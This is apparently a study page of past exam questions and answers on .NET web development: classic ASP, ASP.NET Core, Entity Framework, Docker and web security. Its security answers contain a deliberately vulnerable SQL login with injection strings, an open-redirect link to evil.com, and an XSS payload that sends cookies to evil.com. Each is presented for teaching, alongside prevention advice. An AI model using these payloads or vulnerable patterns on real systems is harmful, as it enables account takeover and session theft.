Chapter 4
NET Centric Computing
TU BSc CSIT past exam questions
Past questions and answers
66 questions set from this chapter. Most repeated first.
- 2076
Answer the following questions in short.
a. ASP requirements
b. Client vs server-side script
c. ADO
d. VB Script
e. Error Handling
Answer
(a) ASP requirements
Classic ASP (Active Server Pages) needs: a Windows server with IIS (Internet Information Services) or Personal Web Server installed; the ASP engine (asp.dll); a scripting language (VBScript by default, or JScript); files saved with the .asp extension in a web-published directory; a browser as client; and, for databases, ADO with an ODBC/OLE DB driver and a database such as Access or SQL Server.
(b) Client-side vs server-side script
| Client-side script | Server-side script |
|---|---|
| Executed in the user's browser | Executed on the web server |
| Source code visible to user | Only the HTML output is sent |
| e.g. JavaScript, client VBScript | e.g. ASP, PHP, JSP |
| Used for validation, effects, interaction | Used for database access, files, security, business logic |
| Cannot access server resources directly | Can access databases and files |
(c) ADO
ActiveX Data Objects is a COM object library used from ASP to access databases. Main objects are Connection (opens the database), Command (runs SQL/stored procedures) and Recordset (holds query results).
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "DSN=mydsn"
Set rs = conn.Execute("SELECT * FROM student")
Do While Not rs.EOF
Response.Write rs("name") & "<br>"
rs.MoveNext
Loop
%>
(d) VBScript
VBScript (Visual Basic Scripting Edition) is a lightweight scripting language from Microsoft derived from Visual Basic. It is the default language of ASP. It is case-insensitive, has the Variant data type only, and supports variables (Dim), conditions, loops, functions and subs.
<% Dim n : n = 5
If n > 3 Then Response.Write("Big") %>
(e) Error handling
In VBScript errors are handled with On Error Resume Next, which continues with the next statement, and the Err object (Err.Number, Err.Description, Err.Clear). Error pages can also be configured in IIS (custom 500;100 page) and Server.GetLastError() is used in ASP 3.0.
On Error Resume Next
x = 10 / 0
If Err.Number <> 0 Then
Response.Write "Error: " & Err.Description
Err.Clear
End If
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2076
a. Differentiate between ASP and IIS.
b. Explain the virtual directory properties.
Answer
(a) ASP vs IIS
| ASP | IIS |
|---|---|
| Active Server Pages is a server-side scripting technology/environment | Internet Information Services is Microsoft's web server software |
Used to create dynamic web pages (.asp files) | Hosts and serves websites, handles HTTP requests |
| Needs a web server to run | Provides the platform on which ASP runs |
Processed by the ASP engine asp.dll | Passes .asp requests to the ASP engine and returns output to browser |
| Provides objects such as Request, Response, Session | Provides management of sites, virtual directories, security, logging, FTP, SMTP |
IIS is the server; ASP is the technology that runs inside it.
(b) Virtual directory properties
A virtual directory is an alias (name in the URL) mapped to a physical folder, which may be outside the web root or on another machine. Properties set in IIS are:
- Alias: the name used in the URL, e.g.
http://server/shop. - Local path / network share: the physical folder the alias points to.
- Access permissions: Read, Write, Script source access, Directory browsing.
- Execute permissions: None, Scripts only, Scripts and Executables (needed to run ASP).
- Application settings: application name, starting point, application protection (low, medium, high isolation).
- Default document: e.g.
default.asp,index.htm. - Authentication and security: anonymous, basic, integrated Windows; IP address restrictions.
- Custom errors, HTTP headers and logging.
A virtual directory makes content easy to move and secure without changing URLs.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2076
a. Explain about request object and session object.
b. Differentiate between application object and server object.
Answer
(a) Request object and Session object
Request object: Retrieves information sent by the browser to the server. Its collections are:
Request.QueryString("name")data in the URL (GET).Request.Form("name")data from a POST form.Request.Cookies("name")cookies from client.Request.ServerVariables("REMOTE_ADDR")environment info such as client IP, browser.Request.ClientCertificatecertificate information.
<% Response.Write "Hello " & Request.Form("username") %>
Session object: Stores information about a single user across all pages during a visit. A session starts when the user first requests a page and ends on timeout (default 20 minutes) or Session.Abandon.
Session("user") = "Ram"stores a variable available on every page for that user.- Properties:
SessionID,Timeout,LCID. - Methods:
Abandon,Contents.Remove. - Events in
global.asa:Session_OnStart,Session_OnEnd.
(b) Application object vs Server object
| Application object | Server object |
|---|---|
| Stores data shared by all users of the application | Provides utility methods of the web server |
Variables: Application("hits") | Properties/methods: ScriptTimeout, CreateObject, MapPath, HTMLEncode, URLEncode, Execute, Transfer |
Methods Lock, Unlock to avoid conflict | No data storage |
Events Application_OnStart, OnEnd in global.asa | No events |
| Lives until the web application stops | Used only when called during a request |
Example: Application.Lock : Application("hits")=Application("hits")+1 : Application.Unlock versus Server.MapPath("data.mdb").
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2076
a. Explain about file access with ASP with example.
b. What do you mean by debugging ASP? Explain.
Answer
(a) File access with ASP
ASP accesses the server file system through the FileSystemObject (FSO) of the Scripting library, created with Server.CreateObject("Scripting.FileSystemObject"). It allows creating, reading, writing, copying, moving and deleting files and folders. A TextStream object reads/writes text; Drive, Folder and File objects give information.
Main methods: CreateTextFile, OpenTextFile(path, mode, create) (modes 1 read, 2 write, 8 append), FileExists, DeleteFile, CopyFile, CreateFolder.
<%
Set fso = Server.CreateObject("Scripting.FileSystemObject")
path = Server.MapPath("notes.txt")
' write
Set f = fso.CreateTextFile(path, True)
f.WriteLine "Hello Nepal"
f.WriteLine "Second line"
f.Close
' read
Set f = fso.OpenTextFile(path, 1)
Do While Not f.AtEndOfStream
Response.Write f.ReadLine & "<br>"
Loop
f.Close
Set fso = Nothing
%>
The IIS user account must have file permissions on the folder.
(b) Debugging ASP
Debugging is finding and removing errors from ASP code. Types of errors: syntax errors (detected at compile), runtime errors (e.g. division by zero, object not found) and logical errors (wrong output).
Techniques:
- Enable server-side debugging in IIS application settings and use the Microsoft Script Debugger or Visual Studio, with breakpoints, step-through and watches.
- Insert
Response.Writeof variable values, followed byResponse.End, to trace execution. - Use
On Error Resume Nextwith theErrobject, and custom error pages. - Turn off friendly HTTP error messages in the browser to see the error line and description.
- Check the IIS log files and test small parts separately.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2076
a. Explain the sending and receiving e-mail with ASP with example.
b. Explain the components of ASP.
Answer
(a) Sending and receiving e-mail with ASP
Sending: ASP sends mail using the COM component CDONTS (CDONTS.NewMail, older IIS/NT) or CDO (CDO.Message, Windows 2000 and later) over an SMTP server (IIS SMTP service or external). Properties are From, To, Subject, Body and Send.
<%
Set msg = Server.CreateObject("CDO.Message")
msg.From = "admin@example.com"
msg.To = Request.Form("email")
msg.Subject = "Welcome"
msg.TextBody = "Thank you for registering."
msg.Send
Set msg = Nothing
Response.Write "Mail sent"
%>
Receiving: ASP has no built-in POP3 support. Mail is received through a third-party component (for example Persits ASPEmail or JMail POP3 object) that connects to the POP3 server with username and password, counts messages and reads sender, subject and body.
<%
Set pop = Server.CreateObject("JMail.POP3")
pop.Connect "user", "password", "pop.example.com"
For i = 1 To pop.Count
Set m = pop.Messages.Item(i)
Response.Write m.Subject & " from " & m.From & "<br>"
Next
pop.Disconnect
%>
(b) Components of ASP
ASP is made of built-in objects and server components:
- Built-in objects: Request, Response, Server, Application, Session, ObjectContext (and ASPError).
- Scripting language engines: VBScript and JScript.
- ActiveX server components: Ad Rotator, Browser Capabilities, Content Linking, Content Rotator, Page Counter, File Access (FileSystemObject), Database Access (ADO), Dictionary, MyInfo, Tools.
- Support files:
.asppages,.incincludes andglobal.asa. - Web server: IIS with
asp.dll.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2076
a. Explain the client-side scripting with practical example.
b. What do you mean by Microsoft Net framework? Explain with example.
Answer
(a) Client-side scripting
Client-side scripting is code embedded in an HTML page and executed by the user's browser, without a round trip to the server. JavaScript is the most common language (VBScript works only in Internet Explorer). Uses: form validation, dynamic content, events (click, change), animation and reducing server load.
Practical example: validating a registration form before submission.
<html>
<head>
<script type="text/javascript">
function validate() {
var name = document.getElementById("name").value;
var age = document.getElementById("age").value;
if (name == "") { alert("Name is required"); return false; }
if (isNaN(age) || age < 18) { alert("Age must be a number 18 or more"); return false; }
return true;
}
</script>
</head>
<body>
<form onsubmit="return validate()" action="save.asp" method="post">
Name: <input type="text" id="name"><br>
Age: <input type="text" id="age"><br>
<input type="submit" value="Register">
</form>
</body>
</html>
The browser checks the data and only valid data goes to the server.
(b) Microsoft .NET Framework
The .NET Framework is Microsoft's software platform for building and running Windows, web and service applications in multiple languages (C#, VB.NET, F#).
Main parts:
- CLR (Common Language Runtime): executes managed code, with JIT compilation, memory management (garbage collection), type safety and exception handling.
- FCL / BCL (Class Library): large set of reusable classes for I/O, collections, data (ADO.NET), web (ASP.NET), Windows Forms.
- CTS and CLS: common type system and language specification allow languages to interoperate.
- MSIL: source code is compiled to Intermediate Language and then to machine code by the JIT.
Example: a C# program is compiled to MSIL in an assembly (.exe/.dll) and run by the CLR.
using System;
class Hello {
static void Main() {
Console.WriteLine("Hello, .NET");
}
}
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 10 marks
Differentiate between struct and enum. Why do we need to handle the exception? Illustrate with an example with your own customized exception.
Answer
Struct vs enum
| struct | enum |
|---|---|
| A value type that groups related data members (fields, properties, methods) | A value type that defines a set of named integral constants |
| Can hold different data types | Underlying type is integral (int by default) |
Declared with struct; can have constructors, methods, interfaces | Declared with enum; only named constants |
Example: Point {int X, Y;} | Example: Day {Mon, Tue, Wed} |
| Stored on the stack (usually) and copied on assignment | Improves readability and restricts choices |
struct Point { public int X; public int Y; }
enum Level { Low = 1, Medium, High }
Why handle exceptions
An exception is a runtime error (divide by zero, file not found, invalid input, database failure). If unhandled, the program terminates abnormally and may lose data or expose internal details. Handling it with try, catch, finally lets the program recover, show a friendly message, log the error, release resources (finally), and keep the application stable and secure.
Custom exception example
using System;
class InsufficientBalanceException : Exception
{
public decimal Shortfall { get; }
public InsufficientBalanceException(string message, decimal shortfall) : base(message)
{
Shortfall = shortfall;
}
}
class Account
{
private decimal balance = 5000;
public void Withdraw(decimal amount)
{
if (amount > balance)
throw new InsufficientBalanceException("Balance is not enough", amount - balance);
balance -= amount;
}
}
class Program
{
static void Main()
{
Account acc = new Account();
try
{
acc.Withdraw(8000);
}
catch (InsufficientBalanceException ex)
{
Console.WriteLine($"{ex.Message}. Short by Rs {ex.Shortfall}");
}
finally
{
Console.WriteLine("Transaction finished");
}
}
}
Output: Balance is not enough. Short by Rs 3000 then Transaction finished.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 10 marks
Explain the procedure for building, running, and deploying .NET core applications. Write a program to show the possibility of SQL injection attack.
Answer
Building, running and deploying .NET Core applications
- Create:
dotnet new webapp -o MyApp(orconsole,mvc,webapi) creates the project with a.csprojfile. - Restore:
dotnet restoredownloads NuGet package dependencies (done automatically by build). - Build:
dotnet buildcompiles the code to IL assemblies (bin/Debug/netX.0/MyApp.dll). - Run:
dotnet runbuilds and starts the app; a web app listens on Kestrel athttps://localhost:5001.dotnet watch runrestarts on file change. - Test:
dotnet testruns unit tests. - Publish:
dotnet publish -c Release -o ./publishcreates optimized, deployable files. It can be framework-dependent (needs runtime installed) or self-contained (-r win-x64 --self-contained). - Deploy: copy the publish folder to the target host and run it by:
- IIS (via ASP.NET Core Module, reverse proxy to Kestrel),
- Linux with Nginx/Apache as reverse proxy and a systemd service,
- Docker container (
Dockerfilewithdotnet publish, thendocker buildanddocker run), - cloud (Azure App Service, AWS).
Configure environment (
ASPNETCORE_ENVIRONMENT=Production),appsettings.json, HTTPS certificate and logging.
SQL injection demonstration
SQL injection occurs when user input is concatenated directly into a SQL string, so the attacker can change the query.
using System;
using System.Data.SqlClient;
class Program
{
static void Main()
{
Console.Write("Username: ");
string user = Console.ReadLine();
Console.Write("Password: ");
string pass = Console.ReadLine();
string connStr = "Server=.;Database=Shop;Trusted_Connection=True;";
using (var con = new SqlConnection(connStr))
{
con.Open();
// VULNERABLE: input concatenated
string sql = "SELECT * FROM Users WHERE Username='" + user +
"' AND Password='" + pass + "'";
var cmd = new SqlCommand(sql, con);
using (var rd = cmd.ExecuteReader())
{
Console.WriteLine(rd.Read() ? "Login success" : "Login failed");
}
}
}
}
If the attacker enters username admin' -- (any password), the query becomes
SELECT * FROM Users WHERE Username='admin' --' AND Password=''
The -- comments out the password check and logs in as admin. Input ' OR '1'='1 makes the condition always true and returns every row. The fix is to use parameterized queries (see the prevention answer).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 10 marks
What are the advantages of stateless HTTP in ASP.NET core application? Create a method to insert a record (3, “John , 12000”) onto the table Employee having fields Employeeld(int), Name varchar(200), Salary(int) using Entity Framework.
Answer
Advantages of stateless HTTP in ASP.NET Core applications
HTTP is stateless: each request is independent and the server does not remember earlier requests. Advantages:
- Scalability: any server in a farm can handle any request, so load balancing and horizontal scaling are easy.
- Simplicity: the server holds no per-client connection state, which makes design and debugging simpler.
- Reliability: if a server fails, the next request goes to another server without losing a conversation.
- Less memory use: no session data kept for idle clients.
- Caching: independent, self-contained requests are easy to cache (CDN, proxies).
- Fits REST and Web API design and cloud/container deployment.
When state is needed it is added explicitly using cookies, session, tokens (JWT), query strings or a database.
Inserting a record using Entity Framework
Model and context:
using Microsoft.EntityFrameworkCore;
public class Employee
{
public int EmployeeId { get; set; }
public string Name { get; set; }
public int Salary { get; set; }
}
public class AppDbContext : DbContext
{
public AppDbContext(DbContextOptions<AppDbContext> options) : base(options) { }
public DbSet<Employee> Employee { get; set; }
}
Insert method:
public void InsertEmployee(AppDbContext context)
{
var emp = new Employee
{
EmployeeId = 3,
Name = "John",
Salary = 12000
};
context.Employee.Add(emp);
context.SaveChanges();
}
Add marks the entity as added and SaveChanges generates and executes INSERT INTO Employee (EmployeeId, Name, Salary) VALUES (3, 'John', 12000). If EmployeeId is an identity column, the explicit value must be allowed in the configuration.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Define open redirect attacks. Discuss about docker and containerization.
Answer
Open redirect attack
An open redirect vulnerability exists when a web application takes a URL from user input (for example ?returnUrl=) and redirects the browser to it without validating it. An attacker creates a link such as
https://bank.com/login?returnUrl=https://evil.com/fake-login
The link starts with the trusted domain, so the victim clicks it, logs in, and is then redirected to the attacker's lookalike site, which steals credentials or spreads malware (phishing). In ASP.NET Core it is prevented by validating with Url.IsLocalUrl(returnUrl) or LocalRedirect(), or by using a whitelist of allowed domains.
Docker and containerization
Containerization packages an application with its libraries, runtime and configuration into a lightweight, isolated unit called a container, which shares the host operating system kernel (unlike a virtual machine, which has a full guest OS).
Docker is the popular platform for this:
- Image: read-only template built from a
Dockerfile. - Container: running instance of an image.
- Docker Hub / registry: stores and shares images.
- Docker Engine: builds and runs containers; Docker Compose and Kubernetes orchestrate many containers.
Example Dockerfile for an ASP.NET Core app:
FROM mcr.microsoft.com/dotnet/sdk:8.0 AS build
WORKDIR /src
COPY . .
RUN dotnet publish -c Release -o /app
FROM mcr.microsoft.com/dotnet/aspnet:8.0
WORKDIR /app
COPY --from=build /app .
ENTRYPOINT ["dotnet", "MyApp.dll"]
Run with docker build -t myapp . and docker run -p 8080:80 myapp.
Benefits: "works on my machine" problem solved by consistency, fast start, small size, easy scaling, isolation and portability across development, test and production.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
What is named and positional attribute parameters? Describe the .Net architecture design and principles.
Answer
Named and positional attribute parameters
Attributes add metadata to code elements (classes, methods, properties). An attribute class constructor can receive two kinds of parameters.
- Positional parameters are the constructor parameters. They are mandatory, given in order, and without a name.
- Named parameters set public fields or properties of the attribute. They are optional, written as
Name = value, can be in any order, and must come after the positional ones.
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]
public class AuthorAttribute : Attribute
{
public string Name { get; } // positional
public string Version { get; set; } // named
public AuthorAttribute(string name) { Name = name; }
}
[Author("Ram", Version = "1.0")] // "Ram" positional, Version named
class Report { }
Another example: [Obsolete("Use NewMethod", true)] (message and error flag are positional) and [DllImport("user32.dll", CharSet = CharSet.Unicode)] (CharSet is named).
.NET architecture design and principles
.NET architecture has these layers: the applications (C#, VB, F#), the Base/Framework Class Library, the CLR (JIT compiler, garbage collector, type system, security, exception handling) and the operating system. Code compiles to IL and runs under the CLR; .NET Core adds cross-platform runtime, Kestrel web server, middleware pipeline and dependency injection.
Design principles:
- Separation of concerns / layered architecture: presentation, business logic, data access (for example MVC).
- SOLID principles: single responsibility, open/closed, Liskov substitution, interface segregation, dependency inversion.
- Dependency injection and loose coupling through interfaces.
- DRY and reusability through assemblies and NuGet packages.
- Language interoperability, managed memory and type safety.
- Modularity, testability and cross-platform portability.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Explain about request and response message format with example.
Answer
HTTP is a request-response protocol: the client (browser) sends a request message and the server returns a response message. Both are plain text with a start line, headers, a blank line and an optional body.
Request message format
POST /login HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=ram&password=1234
- Request line: method (GET, POST, PUT, DELETE), URL path, HTTP version.
- Headers:
Host,User-Agent,Accept,Cookie,Content-Type,Content-Length. - Blank line, then the body (present for POST/PUT, empty for GET).
Response message format
HTTP/1.1 200 OK
Date: Mon, 10 Jan 2022 10:00:00 GMT
Server: Kestrel
Content-Type: text/html
Content-Length: 40
Set-Cookie: id=abc123
<html><body>Welcome Ram</body></html>
- Status line: HTTP version, status code, reason phrase (200 OK, 301 Moved, 404 Not Found, 500 Server Error).
- Headers:
Content-Type,Content-Length,Set-Cookie,Server,Location. - Blank line, then the body (HTML, JSON, image).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Why do we need to validate the form? How can you use react for this?
Answer
Why validate a form
- Data quality: ensures required fields are filled and data has the right format (email, phone, date, number range).
- Security: reduces injection and XSS attacks by rejecting malicious input (server-side validation is mandatory).
- User experience: immediate feedback about mistakes saves time.
- Less server load: invalid data is stopped before submission.
- Database integrity: prevents wrong or incomplete records.
Form validation using React
In React, a form is usually a controlled component: input values are kept in state, and validation runs on change or submit. Errors are stored in state and displayed. Libraries such as Formik or React Hook Form can also be used.
import { useState } from "react";
function RegisterForm() {
const [form, setForm] = useState({ name: "", email: "", age: "" });
const [errors, setErrors] = useState({});
const handleChange = (e) =>
setForm({ ...form, [e.target.name]: e.target.value });
const validate = () => {
const err = {};
if (!form.name.trim()) err.name = "Name is required";
if (!/^\S+@\S+\.\S+$/.test(form.email)) err.email = "Enter a valid email";
if (isNaN(form.age) || form.age < 18) err.age = "Age must be 18 or more";
return err;
};
const handleSubmit = (e) => {
e.preventDefault();
const err = validate();
setErrors(err);
if (Object.keys(err).length === 0) {
console.log("Submitted", form); // send to server
}
};
return (
<form onSubmit={handleSubmit}>
<input name="name" value={form.name} onChange={handleChange} placeholder="Name" />
{errors.name && <span>{errors.name}</span>}
<input name="email" value={form.email} onChange={handleChange} placeholder="Email" />
{errors.email && <span>{errors.email}</span>}
<input name="age" value={form.age} onChange={handleChange} placeholder="Age" />
{errors.age && <span>{errors.age}</span>}
<button type="submit">Register</button>
</form>
);
}
The state hooks hold values and errors; submission is blocked until all rules pass.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Define data model and data context. What does URL routing mean?
Answer
Data model
A data model is the set of classes (entities) that represent the data of the application and the relations between them. In ASP.NET Core MVC and Entity Framework each class maps to a database table, each property to a column, and the key and navigation properties describe relationships. Validation attributes can be added ([Required], [StringLength]).
public class Student
{
public int Id { get; set; }
[Required] public string Name { get; set; }
public int Age { get; set; }
}
Data context
The data context (DbContext class in Entity Framework) is the bridge between the data model and the database. It manages the connection, exposes DbSet<T> collections for each entity, tracks changes, translates LINQ queries to SQL and saves changes with SaveChanges().
public class SchoolContext : DbContext
{
public SchoolContext(DbContextOptions<SchoolContext> options) : base(options) { }
public DbSet<Student> Students { get; set; }
}
It is registered with dependency injection in Program.cs using AddDbContext.
URL routing
Routing maps an incoming request URL to a controller action (or page/endpoint) that handles it, so URLs are clean and meaningful instead of file paths. In ASP.NET Core it is defined by conventional routing, or by attribute routing.
app.MapControllerRoute(
name: "default",
pattern: "{controller=Home}/{action=Index}/{id?}");
The URL /Student/Details/5 calls StudentController.Details(5). With attributes: [Route("api/students/{id}")]. Benefits are SEO-friendly, readable URLs and freedom to change the internal structure.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Give an example to manage the session state.
Answer
HTTP is stateless, so state (data about a user across requests) must be managed explicitly. ASP.NET Core provides session state, which stores user data on the server, keyed by a session id kept in a cookie.
Steps in Program.cs
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddDistributedMemoryCache();
builder.Services.AddSession(options =>
{
options.IdleTimeout = TimeSpan.FromMinutes(20);
options.Cookie.HttpOnly = true;
options.Cookie.IsEssential = true;
});
builder.Services.AddControllersWithViews();
var app = builder.Build();
app.UseSession(); // before endpoints
app.MapDefaultControllerRoute();
app.Run();
Using session in a controller
using Microsoft.AspNetCore.Http;
public class AccountController : Controller
{
public IActionResult Login(string username)
{
HttpContext.Session.SetString("User", username);
HttpContext.Session.SetInt32("Visits", 1);
return RedirectToAction("Profile");
}
public IActionResult Profile()
{
string user = HttpContext.Session.GetString("User");
if (user == null) return RedirectToAction("Login");
ViewBag.User = user;
return View();
}
public IActionResult Logout()
{
HttpContext.Session.Clear();
return RedirectToAction("Login");
}
}
The user name is kept across requests until timeout or logout. Other ways to manage state are cookies, query strings, hidden fields, TempData and caching.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
How can you prevent SQL injection attack? Explain with an example.
Answer
SQL injection happens when user input is inserted into an SQL statement as code. It is prevented by never building queries by string concatenation, and by the following measures:
- Parameterized queries / prepared statements: input is sent as data, never executed as SQL.
- Stored procedures with parameters.
- ORM such as Entity Framework / LINQ, which parameterizes automatically.
- Input validation (type, length, whitelist) and encoding.
- Least privilege: the database account has only the permissions required, not
sa/admin. - Hide detailed errors from users, and use a web application firewall and regular testing.
Example (ADO.NET with parameters)
string sql = "SELECT * FROM Users WHERE Username=@user AND Password=@pass";
using (var con = new SqlConnection(connStr))
using (var cmd = new SqlCommand(sql, con))
{
cmd.Parameters.AddWithValue("@user", user);
cmd.Parameters.AddWithValue("@pass", pass);
con.Open();
using (var rd = cmd.ExecuteReader())
Console.WriteLine(rd.Read() ? "Login success" : "Login failed");
}
If the attacker types admin' --, the whole string is compared as the username value, so no user matches and the query returns nothing. The same with Entity Framework: context.Users.Where(u => u.Username == user && u.Password == pass).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Explain the process to deploy the core application.
Answer
Deploying an ASP.NET Core application means publishing it and hosting it on a server so users can access it.
Steps
- Prepare: set the configuration for production (
appsettings.Production.json, connection strings, secrets in environment variables), remove debug settings, and enable HTTPS and error handling. - Publish:
dotnet publish -c Release -o ./publish(or Visual Studio Build > Publish). It produces compiled DLLs, static files andweb.config. Choose framework-dependent (runtime needed on the server) or self-contained (--self-contained -r linux-x64). - Prepare the server: install the .NET runtime / ASP.NET Core Hosting Bundle.
- Copy the publish folder to the server (FTP, Web Deploy, scp, CI/CD pipeline).
- Host with one of the options:
- IIS (Windows): create a site pointing to the folder, application pool with No Managed Code; the ASP.NET Core Module forwards requests to Kestrel.
- Linux: run
dotnet MyApp.dllas a systemd service behind Nginx or Apache as reverse proxy. - Docker: build an image with a Dockerfile and run the container.
- Cloud: Azure App Service or AWS Elastic Beanstalk.
- Database: apply migrations (
dotnet ef database update) or run SQL scripts on the production database. - Test: browse the site, check logs and firewall port settings (80/443), and monitor.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2078 · 5 marks
Write short notes on (any two)
a.LINQ
b. Open Redirected Attack
c. Query String
Answer
a. LINQ
LINQ (Language Integrated Query) lets C# query collections, databases (LINQ to Entities/SQL), XML and other data sources with one uniform, type-checked syntax built into the language. It comes in query syntax and method syntax and uses deferred execution.
int[] nums = { 5, 12, 8, 21, 3 };
// query syntax
var big = from n in nums where n > 7 orderby n select n;
// method syntax
var bigM = nums.Where(n => n > 7).OrderBy(n => n);
foreach (var n in big) Console.WriteLine(n); // 8 12 21
Common operators: Where, Select, OrderBy, GroupBy, Join, Sum, Count, First. Benefits: readable, compile-time checking and IntelliSense, less code.
b. Open redirect attack
A web application redirects to a URL that comes from user input (such as ?returnUrl=) without checking it. The attacker sends a link such as https://site.com/login?returnUrl=https://evil.com; after login the user lands on the attacker's site, which can steal credentials (phishing) or install malware. Prevention: use Url.IsLocalUrl(returnUrl) or LocalRedirect, whitelist trusted domains, and avoid redirecting to user-supplied absolute URLs.
c. Query string
A query string is the part of the URL after ?, holding name-value pairs separated by &, used to pass data to the server with HTTP GET, e.g. /products?category=books&page=2. In ASP.NET Core it is read with Request.Query["category"] or by model binding: public IActionResult Index(string category, int page). It is simple, bookmarkable and visible, but not secure (visible in URL and history), limited in length, and so unsuitable for sensitive data.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 10 marks
What is the purpose of web form? Write a program to demonstrate the concept of collection and generics.
Answer
Purpose of a web form
A web form is an HTML/ASP.NET page element used to collect input from users and send it to the server. Its purposes are to receive data (registration, login, search, orders, feedback), to submit it by GET or POST to a server program for processing, and to validate and store it in a database. In ASP.NET Web Forms it is a .aspx page with server controls (TextBox, Button, DropDownList, GridView), event handling in code-behind, validation controls and view state, giving a desktop-like programming model.
<form method="post" action="/Register">
<input type="text" name="username" required>
<input type="email" name="email">
<input type="submit" value="Submit">
</form>
Program: collections and generics
Collections store groups of objects (ArrayList, Hashtable, Queue) and are non-generic, storing object, so they need casting and boxing. Generics (List<T>, Dictionary<TKey,TValue>, user-defined class Box<T>) give type safety, no casting and better performance.
using System;
using System.Collections;
using System.Collections.Generic;
class Stack<T> // user-defined generic class
{
private List<T> items = new List<T>();
public void Push(T item) { items.Add(item); }
public T Pop()
{
if (items.Count == 0) throw new InvalidOperationException("Empty");
T top = items[items.Count - 1];
items.RemoveAt(items.Count - 1);
return top;
}
public int Count { get { return items.Count; } }
}
class Program
{
static T Max<T>(T a, T b) where T : IComparable<T> // generic method
{
return a.CompareTo(b) >= 0 ? a : b;
}
static void Main()
{
// non-generic collection
ArrayList list = new ArrayList();
list.Add(10); list.Add("Ram"); // mixed types allowed
int first = (int)list[0]; // cast needed
Console.WriteLine("ArrayList: " + first + ", " + list[1]);
// generic collections
List<int> numbers = new List<int> { 4, 9, 2 };
numbers.Sort();
Console.WriteLine("List<int>: " + string.Join(",", numbers));
Dictionary<int, string> students = new Dictionary<int, string>();
students.Add(1, "Sita");
students.Add(2, "Hari");
foreach (var kv in students)
Console.WriteLine(kv.Key + " -> " + kv.Value);
// user-defined generic
Stack<string> s = new Stack<string>();
s.Push("A"); s.Push("B");
Console.WriteLine("Pop: " + s.Pop());
Console.WriteLine("Max: " + Max(3, 7) + ", " + Max("apple", "mango"));
}
}
Output: ArrayList: 10, Ram, List<int>: 2,4,9, 1 -> Sita, 2 -> Hari, Pop: B, Max: 7, mango.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 10 marks
Explain the uses of cookies. What types of vulnerabilities can occur in web application? Show the case of Cross-site Scripting attack.
Answer
Uses of cookies
A cookie is a small piece of text data that the server sends to the browser, which stores it and returns it with later requests to that site. Since HTTP is stateless, cookies provide memory.
- Session management: a session id cookie identifies the logged-in user.
- Personalization: remember language, theme, preferences.
- Remember me / auto-login and shopping cart contents.
- Tracking and analytics: visits, advertising, user behaviour.
- Security tokens: anti-forgery tokens.
Response.Cookies.Append("theme", "dark", new CookieOptions {
Expires = DateTimeOffset.Now.AddDays(7), HttpOnly = true, Secure = true });
string theme = Request.Cookies["theme"];
Cookies are limited in size (about 4 KB), can be disabled or stolen, so sensitive data should not be stored in them. Use HttpOnly, Secure and SameSite flags.
Vulnerabilities in web applications
- SQL injection: malicious SQL in input.
- Cross-site scripting (XSS): malicious script injected into pages seen by other users.
- Cross-site request forgery (CSRF): forces an authenticated user to perform unwanted actions.
- Broken authentication and session hijacking: weak passwords, stolen cookies.
- Open redirects.
- Insecure direct object references / broken access control.
- Sensitive data exposure, security misconfiguration, file upload flaws and denial of service.
Cross-site scripting (XSS) attack
XSS occurs when an application includes untrusted user input in a page without encoding, so the attacker's JavaScript runs in the victim's browser with the site's privileges.
Vulnerable code, a comment page that prints input directly:
// Controller
public IActionResult Show(string comment)
{
return Content("<html><body>Comment: " + comment + "</body></html>", "text/html");
}
The attacker sends the link:
/Show?comment=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
The script runs in the victim's browser and sends the session cookie to the attacker, who can hijack the session. In stored XSS the script is saved in the database (for example in a forum comment) and attacks every visitor; in reflected XSS it comes from the request URL as above; DOM-based XSS occurs in client-side JavaScript.
Prevention: HTML-encode output (Razor @Model.Comment encodes automatically; avoid Html.Raw), validate and sanitize input, use a Content Security Policy, and set cookies HttpOnly.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 10 marks
Describe any two hosting models for core application. Design a client side validation application using jquery for taking input data from student in Library Management System, assume your own assumptions.
Answer
Hosting models for an ASP.NET Core application
ASP.NET Core runs on the built-in cross-platform Kestrel web server. Two common hosting models are:
-
In-process hosting (IIS)
- The app runs inside the IIS worker process (
w3wp.exe) using the ASP.NET Core Module (IISHttpServer). - There is no proxying over the loopback network, so it is faster and has higher throughput.
- Available only on Windows with IIS. Configured with
